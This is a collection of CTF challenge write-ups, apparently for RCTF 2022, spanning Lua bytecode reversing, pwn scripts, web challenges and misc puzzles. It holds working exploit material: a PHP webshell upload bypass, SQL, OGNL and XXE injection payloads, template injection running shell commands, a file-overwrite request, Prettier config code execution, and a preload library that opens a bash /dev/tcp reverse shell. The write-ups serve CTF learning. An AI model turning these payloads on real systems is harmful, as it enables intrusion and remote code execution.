  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 1; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  DumpVar(x, D);
}


static void DumpInt (int x, DumpState *D) {

  //modify_start
  int i;
  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 4; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  DumpVar(x, D);
}


static void DumpNumber (lua_Number x, DumpState *D) {

  //modify_start
  int i;
  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 8; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  DumpVar(x, D);
}


static void DumpInteger (lua_Integer x, DumpState *D) {

  //modify_start
  int i;
  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 8; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  DumpVar(x, D);
}
static lu_byte LoadByte (LoadState *S) {
  lu_byte x;
  LoadVar(S, x);

  //modify_start
  int i;
  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 1; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  return x;
}


static int LoadInt (LoadState *S) {
  int x;
  LoadVar(S, x);

  //modify_start
  int i;
  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 4; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  return x;
}


static lua_Number LoadNumber (LoadState *S) {
  lua_Number x;
  LoadVar(S, x);

  //modify_start
  int i;
  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 8; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  return x;
}


static lua_Integer LoadInteger (LoadState *S) {
  lua_Integer x;
  LoadVar(S, x);

  //modify_start
  int i;
  unsigned char *ptr = (unsigned char *)&x;
  for (i = 0; i < 8; i++) 
    if (ptr[i] != 0 && ptr[i] != 0xff)
      ptr[i] ^= 0xff;
  //modify_end

  return x;
}

It is necessary to modify the lua decompilation engine according to the abnormal situation of disassembly, and finally realize the disassembly.

solution

Use table replacement and unary multiple equations to solve. See the script for details.

from pwn import *

show_info_sign = True
def show_debug_info(flag = True):
    global show_info_sign

    if flag == True:
        #context.log_level = 'DEBUG'
        show_info_sign = True
    else:
        #context.log_level = 'info'
        show_info_sign = False

def d2v_x64(data):
    return u64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
    return u32(data[:4].ljust(4, '\x00'))

def expect_data(io_or_data, b_str = None, e_str = None):
    if type(io_or_data) != str:
        t_io = io_or_data

        if b_str != None and b_str != "":
            recvuntil(t_io, b_str)
        data = recvuntil(t_io, e_str)[:-len(e_str)]
    else:
        if b_str == None or b_str == "":
            b_pos = 0
        else:
            t_data = io_or_data
            b_pos = t_data.find(b_str)
            if b_pos == -1:
                return ""
            b_pos += len(b_str)

        if e_str == None or e_str == "":
            data = t_data[b_pos:]
        else:
            e_pos = t_data.find(e_str, b_pos)
            if e_pos == -1:
                return ""
            data = t_data[b_pos:e_pos]
    return data

import sys
def show_echo(data):
    global show_info_sign
    if show_info_sign:
        sys.stdout.write(data)

def recv(io, size):
    data = io.recv(size)
    show_echo(data)
    return data

def recvuntil(io, info):
    data = io.recvuntil(info)
    show_echo(data)
    return data

def send(io, data):
    io.send(data)
    show_echo(data)

def sendline(io, data):
    send(io, data + "\n")

def rd_wr_str(io, info, buff):
    #io.recvuntil(info, timeout = 2)
    #io.send(buff)
    data = recvuntil(io, info)
    send(io, buff)
    return data

def rd_wr_int(io, info, val):
    return rd_wr_str(io, info, str(val) + "\n")

def r_w(io, info, data):
    if type(data) == int:
        return rd_wr_int(io, info, data)
    else:
        return rd_wr_str(io, info, data)

def set_context():
    binary_elf = ELF(binary_path)
    context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian)

import commands
def do_command(cmd_line):
    (status, output) = commands.getstatusoutput(cmd_line)
    return output

global_pid_int = -1
def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript_pre = "", gdbscript_suf = "c\n"):
    global global_pid_int
    if is_dbg:
        set_pid(io)
        if is_pie == True:
            if code_base == 0:
                set_pid(io)
                data = do_command("cat /proc/%d/maps"%global_pid_int)
                code_base = int(data.split("\n")[0].split("-")[0], 16)
        gdbscript = ""
        gdbscript += gdbscript_pre
        for item in break_list:
            gdbscript += "b *0x%x\n"%(item + code_base)
        gdbscript += gdbscript_suf

        #gdb.attach(global_pid_int, gdbscript = gdbscript, exe = binary_path)
        gdb.attach(global_pid_int, gdbscript = gdbscript)

def set_pid(io):
    global global_pid_int
    if global_pid_int == -1:
        if is_dbg:
            """
            data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
            #print "-"*0x10
            #print repr(data)
            items = data.split(" ")[1:]
            global_pid_int = 0
            i = 0
            while len(items[i]) == 0:
                i += 1
            global_pid_int = int(items[i])
            #"""
            global_pid_int = pidof(io)[0]

def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_dbg:
        set_pid(io)
        raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int)

    if info != "":
        print "pass", info

def get_io(target):
    if type(target) == str:
        #io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
        io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
    else:
        io = remote(target[0], target[1])
    return io

def r_w(io, info, data):
    if type(data) == int:
        rd_wr_int(io, info, data)
    else:
        rd_wr_str(io, info, data)

def m_c(io, choice, prompt = ">> "):
    r_w(io, prompt, choice)

def s_i(io, choice, prompt = [": "]):
    r_w(io, prompt, choice)


def pack_img(data, size = None, add_width = 0):
    height = 1

    if size is None:
        size = len(data)<<3

    use_size = len(data) << 3
    if use_size % 3 != 0:
        use_size += 3 - (use_size %3)

    width = use_size / 3
    width += add_width
    #if width == 0:
    #   width = 1

    file_size = 0x36 + 3*width*height

    bmfh = ""
    bmfh += "BM"
    bmfh += p32(file_size)
    bmfh += p16(size)
    bmfh += p16(0)
    bmfh += p32(0x36)

    bmih = ""
    bmih += p32(40)
    bmih += p32(width)
    bmih += p32(height)
    bmih += p16(1)
    bmih += p16(24)
    bmih += p32(0)
    bmih += p32(3*width*height)
    bmih += p32(0)*4

    body = ""
    for val in data:
        val = ord(val)
        for i in range(8):
            bit = val&1
            val >>= 1
            body += p8(bit)

    #print("width = %x, height = %x, 3*height*width=%x, len(data)=%x"%(width, height, 3*height*width, len(data)))
    #raw_input("tt")
    if len(body) < 3*width*height:
        body  = body.ljust(3*width*height, '\x00')

    return bmfh + bmih + body


def upload_data(io, data, size = None):
    m_c(io, 1)
    recvuntil(io, ": ")
    #io.interactive()

    if size is None:
        size = len(data)

    MAX_BLOCK_SIZE = 0x1200
    for i in range(0, size, MAX_BLOCK_SIZE / 8):
        use_data = data[i:i+MAX_BLOCK_SIZE / 8]
        #print("i: ", hex(i), hex(MAX_BLOCK_SIZE/8), hex(len(data)))
        if i == 0:
            use_size = size << 3
        else:
            use_size = len(use_data) << 3
        img_data = pack_img(use_data, use_size)

        #print("hex(len(img_data)): ", hex(len(img_data)))
        send(io, img_data)

def download_data(io, idx):
    m_c(io, 2)
    s_i(io, idx)

    res = recvuntil(io, "img data: ")

    print("res: ", repr(res))

    MAX_BLOCK_SIZE = 0x1200
    count_idx = 0
    data_size = 0
    data_all = ""
    while True:
        data = recv(io, 0x36)
        file_size = u32(data[2:2+4])
        msg_size = u16(data[6:6+2])

        print("file_size: ", hex(file_size))
        print("msg_size: ", hex(msg_size))

        data = ""
        left_size = file_size - 0x36
        while left_size > 0:
            data += recv(io, left_size)
            left_size = file_size - 0x36 - len(data)
        print("len(data): ", hex(len(data)))
        if count_idx == 0:
            data_size = msg_size
            if msg_size > len(data):
                msg_size = len(data)
            if msg_size > MAX_BLOCK_SIZE:
                msg_size = MAX_BLOCK_SIZE
        count_idx += 1

        bit_val = 0
        bit_count = 0
        for i in range(msg_size):
            val = ord(data[i])
            if (val & 1) == 1:
                bit_val |= (1 << bit_count)
            bit_count += 1
            if bit_count == 8:
                data_all += p8(bit_val)
                bit_count = 0
                bit_val = 0

        print("file_size1: ", hex(file_size))
        print("msg_size2: ", hex(msg_size))
        print("data_all: ", hex(len(data_all)))
        print("data_size>>3: ", hex(data_size>>3))

        if len(data_all) == (data_size>>3):
            break
    print("data: ", data_all)
    return data_all

def delete_data(io, idx):
    m_c(io, 3)
    s_i(io, idx)

def list_data(io):
    m_c(io, 4)

def pwn(io):

    show_debug_info(True)
    flag = "flag{U_90t_th3_p1c5t0re_fl49!}"
    for i in range(30):
        if i % 2 == 0:
            payload = flag[i:i+2] + "\x00"
            upload_data(io, payload, 0x28)
        else:
            upload_data(io, "ii\x00", 0x28)

    m_c(io, 5)
    io.interactive()
    exit(0)


import sys
if len(sys.argv) >= 2 and sys.argv[1][0] in "rR":
    is_local = False
else:
    is_local = True

is_dbg = True
#is_dbg = False

binary_path = "./picStore"
ip, port = "49.0.203.6 3498".split(" ")
port = int(port, 10)

libc_file_path = ""
#libc_file_path = "./libc.so.6"
bin_elf = ELF(binary_path)
if is_local:
    libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    libc_elf = ELF("./libc_target.so.6")

if is_local:
    # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
    show_debug_info(True)
    target = binary_path
else:
    show_debug_info(False)
    target = (ip, port)

show_debug_info(False)
while True:
    #target = "./lua ./picStore_test.lua"
    io = get_io(target)
    if pwn(io) == True:
        print("break?")
        break
    io.close()

rdefender

exp

import string
from pwn import *

#context.log_level='debug'

flag = ""

for i in range(100):
    found = False
    for j in string.printable:
        pos = i
        guess = ord(j)

        prog = b"\x00%c\x01%c\x03\x01\x05" % (guess,pos)

        c = remote("94.74.84.207", 7892)

        cmd = b"\x02\x02\xd1f\x9c\x89\xf3["

        c.send(cmd)
        c.send(p32(len(prog)))
        c.send(prog)
        c.recv(8)

        cmd = b"\x01\x00\x00".ljust(8)
        c.send(cmd)
        res = c.recv(8)
        if res[0] == 1:
            found = True
            flag += j
        elif res[0] != 2:
            print("error res")
            exit()
        c.close()
    if not found:
        print("not found at",i)
        exit()
    print(flag)

WEB

easy_upload

How to Setup Environment

docker-compose up -d

Write Up

I found a funny issue when I have no idea about challenge.

https://github.com/php/php-src/issues/9008

It cause strange result.

<?php
$string = "PHP";

mb_detect_order(["ASCII","UTF-8","BASE64"]);
var_dump(
    mb_detect_encoding($string, null, true),
    mb_detect_encoding($string, mb_detect_order(), true),

    mb_convert_encoding($string, "UTF-8", "BASE64"),
    mb_strtolower($string, "BASE64"),
);
Output for 8.2.0
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

Output for 8.0.1 - 8.0.26, 8.1.10 - 8.1.13
string(5) "ASCII"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

Output for 8.1.0 - 8.1.9
string(6) "BASE64"
string(5) "ASCII"
string(2) "<s"
string(4) "PHM="

I search it in github and found that Symfony\Component\Filesystem\Path::getExtension will call mb_detect_encoding when enable $forceLowerCase which means that it can bypass extension black list. Like following code:

<?php
    $path = "webshell.PHP";
    $disable_ext = ["php"];
    $ext = Symfony\Component\Filesystem\Path::getExtension($path, true);
    if(in_array($ext, $disable_ext)){
        die("hack go away");
    }

UploadController has two limitations:

  1. content check
  2. extension check

bypass content check

$content = file_get_contents($file["tmp_name"]);
$charset = mb_detect_encoding($content, null, true);
if(false !== $charset){
    if($charset == "BASE64"){
        $content = base64_decode($content);
    }
    foreach ($this->content_blacklist as $v) {
        if(stristr($content, $v)!==false){
            return $this->invalid("fucking $v .");
        }
    }
}else{
    return $this->invalid("fucking invalid format.");
}

If we can cheat mb_detect_encoding recognize invalid BASE64 string as BASE64 then the check fails.

mb_detect_encoding("\xffPHP<?php phpinfo();"); => BASE64

bypass extension check

$ext = Path::getExtension($file["name"], true);
if(strstr($file["name"], "..")!==false){
    return $this->$this->invalid("fucking path travel");
}
foreach ($this->ext_blacklist as $v){
    if (strstr($ext, $v) !== false){
        return $this->invalid("fucking $ext extension.");
    }
}
...
$result = move_uploaded_file($file["tmp_name"], "$dir/upload/".strtolower($file["name"]));

Path::getExtension($file["name"], true), the second argument force the extionsion to be in lower case.
So using PHP extension seems not able to bypass blacklist. But actually it can.

Symfony use the following code to lower extension.

private static function toLower(string $string): string
{
    if (false !== $encoding = mb_detect_encoding($string, null, true)) {
        return mb_strtolower($string, $encoding);
    }

    return strtolower($string);
}

mb_detect_encoding("PHP", null, true) => BASE64

mb_strtolower("PHP", "BASE64") => PHM=

Exploit

test.PHP

xff<?php phpinfo();

ezruoyi

Look at wp and notice that there is already a pull request, but the master branch still contains the old vulnerable code https://gitee.com/y_project/RuoYi/pulls/403

admin/admin123 Login

Java code restricts only create

create as select error injection

POST /tool/gen/createTable HTTP/1.1
Host: local:8899
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://local:8899/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8f6ed770-51d2-4124-9d4a-dfb4276cfb82
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

sql=create+table+notexist11+as+select/**/gtid_subset(flag,1) from flag;

ezbypass

Permission Bypass

index;123.ico

Ognl injection bypassing quote filtering

${@java.lang.Character@toString(39)}or 1)limit 1#

See the shorter payload learned by wp

${"abc\47) OR 1=1;-- -"}

Xxe encoding bypassed, the encoding will be parsed when the construction Function parameter type is stream, and exp will be constructed

    public static void main(String[] args) throws Exception {
        String body = "<!DOCTYPE test [ \n"
                + "\t<!ENTITY xxe SYSTEM \"file:///flag\"> \n"
                + "]> \n"
                + "<wsw>&xxe;</wsw>";
        String type = "UTF-32";
        String poc = new String(Base64.getEncoder().encode(body.getBytes(type)));
        System.out.println(poc);
    }
import requests

burp0_url = "http://localhost:8899/index;123.ico"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"password": "${@java.lang.Character@toString(39)}or 1)limit 1#", "poc": "AAAAPAAAACEAAABEAAAATwAAAEMAAABUAAAAWQAAAFAAAABFAAAAIAAAAHQAAABlAAAAcwAAAHQAAAAgAAAAWwAAACAAAAAKAAAACQAAADwAAAAhAAAARQAAAE4AAABUAAAASQAAAFQAAABZAAAAIAAAAHgAAAB4AAAAZQAAACAAAABTAAAAWQAAAFMAAABUAAAARQAAAE0AAAAgAAAAIgAAAGYAAABpAAAAbAAAAGUAAAA6AAAALwAAAC8AAAAvAAAAZgAAAGwAAABhAAAAZwAAACIAAAA+AAAAIAAAAAoAAABdAAAAPgAAACAAAAAKAAAAPAAAAHcAAABzAAAAdwAAAD4AAAAmAAAAeAAAAHgAAABlAAAAOwAAADwAAAAvAAAAdwAAAHMAAAB3AAAAPg==", "type": "jjj", "yourclasses": "java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)

filechecker_mini

  • solved: 88/363
  • flag: RCTF{Just_A_5mall_Tr1ck_mini1i1i1__Fl4g_Y0u_gOtt777!!!}

The server runs the file command on the uploaded file and passes the output to Flask’s render_template_string. So we can do template injection as long as we control the output.

The easiest solution

https://github.com/file/file/blob/master/tests/cmd1.testfile

https://github.com/file/file/blob/master/tests/cmd1.result

The content of the build file is as follows

#!/usr/cmd/{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

Upload this file and you will get the flag

Other interesting solutions

1 modify the interpreter of linux executables

cp /bin/file filetest
patchelf --set-interpreter "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" filetest
curl -F 'file-upload=@/mnt/d/Desktop/filetest' http://159.138.107.47:13001/

You can also modify the BuildID of the linux executable

2 gzip controls a file name file

touch "{{config.__class__.__init__.__globals__['os'].popen('cat \x2fflag').read()}}"
gzip \{\{config.__class__.__init__.__globals__\[\'os\'\].popen\(\'cat\ \\x2fflag\'\).read\(\)\}\}
mv \{\{config.__class__.__init__.__globals__\[\'os\'\].popen\(\'cat\ \\x2fflag\'\).read\(\)\}\}.gz 1.gz
curl -F 'file-upload=@/mnt/d/Desktop/1.gz' http://159.138.107.47:13001/

3 Modifying the image copyright will also take effect

There are many ways to control the command output, so I won’t go into details here

filechecker_plus

  • solved: 39/363
  • flag: RCTF{III_W4nt_Gir1Friendssssss_Thi5_Christm4ssss~~~~}

To diff the two zips, I found out that template injection is no longer possible and the web service is running with root privileges.

os.path.exists(filepath) and ".." in filepath:

The check for path traversal and existing file is an and. That means we can overwrite files if we don’t use ‘..’ .

To disable directory traversal for “..”, I added this logic. This is a logic error, I should replace and with or. qwq

A small trick for os.path.join

>>> import os
>>> os.path.join("/app/upload/","test")
'/app/upload/test'
>>> os.path.join("/app/upload/","/tmp/test")
'/tmp/test'

Now we can overwrite any file, so it is very easy to solve this challenge.

Send the following http package and you will get the flag

POST / HTTP/1.1
Host: 159.138.110.192:23002
Content-Length: 211
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Origin: http://159.138.110.192:23002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuhKRbyDeYPB8r5MS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.110.192:23002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryuhKRbyDeYPB8r5MS
Content-Disposition: form-data; name="file-upload"; filename="/bin/file"
Content-Type: text/plain

#!/bin/bash
cat /flag
------WebKitFormBoundaryuhKRbyDeYPB8r5MS--

Of course you can also upload a linux executable file or overwrite index.html to get the flag. 🙂

filechecker_pro_max

  • solved: 17/363
  • flag: RCTF{I_Giveeeeeee_Y0oOu_Fl4gsssss_You_G1ve_M3_GirlFriendsssssssssss}

This time, we can’t overwrite any files. We have to get RCE only by creating new ones.

Use strace to trace what happens when the file command is executed

strace file /etc/passwd 2>&1 | grep "No such file or directory"
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/home/liao/.magic.mgc", 0x7ffd2bb0bcd0, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/home/liao/.magic", 0x7ffd2bb0bcd0, 0) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/magic.mgc", O_RDONLY) = -1 ENOENT (No such file or directory)

We can create a “/etc/ld.so.preload” file that includes “/app/upload/mylseek.so” so that the library is loaded when the server executes the file command.

mylseek.c

#include <unistd.h>
#include "syscall.h"
#include <stdio.h>
#include <stdlib.h>

off_t lseek(int fd, off_t offset, int whence)
{
    remove("/etc/ld.so.preload"); //without this, the exploit would recursively load mylseek.so
    system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
#ifdef SYS__llseek
    off_t result;
    return syscall(SYS__llseek, fd, offset>>32, offset, &result, whence) ? -1 : result;
#else
    return syscall(SYS_lseek, fd, offset, whence);
#endif
}

gcc mylseek.c -o mylseek.so –shared -fPIC

Of course you can diy your so. 🙂

ld.so.preload

/app/upload/mylseek.so

We then just need a race condition when both of the files are present when file is executed.

Use burpsuite’s intruder module to upload these two files in multiple threads for a race condition.

mylseek.so -> /app/upload/mylseek.so

ld.so.preload -> /etc/ld.so.preload

perttieronline

My solution

#!/usr/bin/node
filepath:
  // .prettierrc accepts JSON and YAML
  // YAML xxx: syntax is label statement in JavaScript
  var pp = require('./node_modules/prettier/parser-espree.js').parsers.espree.parse;
  var fs = require('fs');
  var oldWFS = fs.writeFileSync
  // Bypass `process.exit()`
  process.reallyExit = () => {}
  // Bypass `throw new Exception`
  process.on('uncaughtException', () => {})
  module.exports = function(code,...a) {
    fs.writeFileSync = function(file, data, options) {
      if (/ret.js/.test(file)) {
        // Dynamic import statement cannot be hooked
        // All processes of Prettier are synchronous operations, dynamic import is an asynchronous operation and cannot be accessed inside Prettier.
        // Therefore we can only process from the output data after the execution of Prettier is finished.
        import('child_process').then(cp => {
          const ret = cp.execSync('/readflag').toString('utf-8')
          oldWFS.call(oldWFS, file, ret, options)
        })
      } else {
        return oldWFS.apply(oldWFS, arguments)
      }
    }
    return pp.call(pp,code,...a)
  }
# Prettier will require custom parser here
parser: './.prettierrc'
trailingComma: 'es5'
tabWidth: 4
semi: false
singleQuote: true

Other interesting solutions

parser: ".prettierrc"
a: /*
# */ ;module.exports = () => ({"type":"File","program":{"type":"Program","body":[],"directives":[{"type":"Directive","value":{"type":"DirectiveLiteral","extra":{"raw":JSON.stringify(module.constructor._load('child_process').execSync('/readflag').toString())}}}]}});

// This is require('module')._load
parser: ".prettierrc"
foo: module.exports=_=>module.constructor._load('child_process').execSync('cat ./flag').toString()
{
  parser: ".prettierrc",
  /x|x/.__proto__.test=()=>true,
  module.exports=()=>require("child_process").execSync("pwd;cat flag").toString()
}
// Hook RegExp.prototype.test

c3

c3,Command and Control.

If Cobalt Strike teamserver (default port 50050) or Listener is opened on the target server, how can it be compromised?

I.e. CVE-2022-39197 Exploitation in real environment.

Challenge Environments:

  • cs 4.3
  • Java 8

Step 1 – Get Stager

Cobalt Strike turns on stager by default and provides access by short URI, which is a common feature, but most do some simple hardening, such as modifying the default value of checksum. But there are other features, such as GET stager, to download stager.

res = requests_raw.raw(url='http://159.138.146.89', data=b"GET stager HTTP/1.1\r\n\r\n")
with open('stager', 'wb') as f:
    f.write(res.content)

Step 2 – Forged beacons construct legitimate packets

The c2profile used in the challenge is from https://github.com/threatexpress/malleable-c2.

Extract the downloaded stager to get the public key and the communication format.

image-20221217204718659

Step 3 – Swing RCE

There are many ways to trigger the RCE, but only non-interactive payload can get the flag.

From the black box perspective, just try a few more methods, and the challenge opened Credentials window.

image-20221217162313632

For the vulnerability itself, there are many analysis articles online.

MISC

ezPVZ

level1

Use Cheat Engine to modify the value of sunlight in memory.

level2

Find out where the zombie blood is located in computer memory

First scan selects unknown initial value.

After that, every time the zombie is hit by the shooter, select the changed value to scan once, and finally locate the position of the zombie’s blood volume in the memory
image-20221210103603753

Right-click -> find out what access this address. Pay attention to one of the instructions, and speculate that it may be the logic of zombie blood loss
image-20221210104526928

Change add dword ptr [r8+r9+34],02 to add dword ptr [r8+r9+34],7f, and find that the zombie dies immediately, thus proving
image-20221210105236078

level3

The CD of plants is very long, you can modify the CD.

Keep scanning with changed value, and finally filter the very large values, you can see that the fives values in consecutive memories are the same.
image-20221210130834965

Change them to big values, the CD will be restored immediately.

After passing the final level, you will get the flag

Catspy

https://github.com/Threonine/rctf_challenge/blob/main/resnet50.ipynb

ezhook

Find the native implementation in the jdk

https://gorden5566.com/post/1027.html

hook native method

exp.js

//windows
// var module = Module.findExportByName("jvm.dll", "JVM_CurrentTimeMillis");
//linux
// var module = Module.findExportByName("libjvm.so", "JVM_CurrentTimeMillis");
//all
var module = Module.findExportByName(null, "JVM_CurrentTimeMillis");

// console.log(module);
Interceptor.attach(module, {
    onEnter: function (args) {
        console.log("[] native onEnter...");

    },
    onLeave: function (retval) {
        console.log("[] native onLeave...");
        console.log('[] return: ' + retval);
        retval.replace(1609430400000);//2021/1/1 0:0:0
        console.log('[] return replace: ' + retval);
    }
});

ez_alien

Two pictures are given in the title attachment. Open alient.bmp with tools such as 01 editor. At the last line, you can see a string of visible characters cHdkPSJOMGJPZHlfbDB2ZXNfTWUi. Performing base64 decoding,you will get

pwd="N0bOdy_l0ves_Me"

This is the decompression password of the compressed package.

Decompress the file and check it with the DIE tool. It is an exe execution file. Add the suffix and run to view the error message.

pygame 2.1.2 (SDL 2.0.18, Python 3.8.6)
Hello from the pygame community. https://www.pygame.org/contribute.html
Traceback (most recent call last):
  File "alien_invasion.py", line 222, in <module>
  File "alien_invasion.py", line 27, in __init__
  File "ship.py", line 12, in __init__
  FileNotFoundError: No file './ship.bmp' found in working directory  C:\****\attachment\alien_invasion'.

It can be found that this is an exe executable compiled by the python project.Use the pyinstxtractor. py tool to process many files, including pyc. At the same time, we get a message that the Python version is 3.8.

Find alient_ Invasion in the directory,which is a special file with a modified suffix of Pyc. It is parsed into a py file by using the uncomppyle tool. However, an error is reported because the header information is lost. So you need to find the header information of Python 3.8. The first 16 bytes are as follows. Use winhex to repair the file.

image-20221212085938077

The obtained py file displays the imported self written library.

from settings import Settings
from ship import Ship
from bullet import Bullet
from alien import Alien
from time import sleep              //useless
from game_stats import GameStats
from button import Button
from scoreboard import ScoreBoard

At the same time, we found the string s=b’VTJreE0yNWpNdz09 ‘.

The rest of the strings are scattered in the above self writing library (excluding time). Recover these pyc files in the same way, find other strings, and decode them twice with base64 to get 10 words and characters

Si13nc3
15
nEvEr
9ivin9
up
&&
6ut
h01din9
On
Si13nT1y

The final question is how to form a sentence. I would like to say sorry to my friends from abroad who participated in the competition. At that time, I did not take into account the differences in understanding the sentences.I directly translated my mood one night.“沉寂从来不是放弃,而是默默坚守”. I’m very sorry for the long time of perplexing you all.

RCTF{Si13nc3_15_nEvEr_9ivin9_up_&&_6ut_h01din9_On_Si13nT1y}

Crypto

https://hackmd.io/@GowLxW7-TTGIMIQqhgOUlw/H1_a_rHOi#magic_sign

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注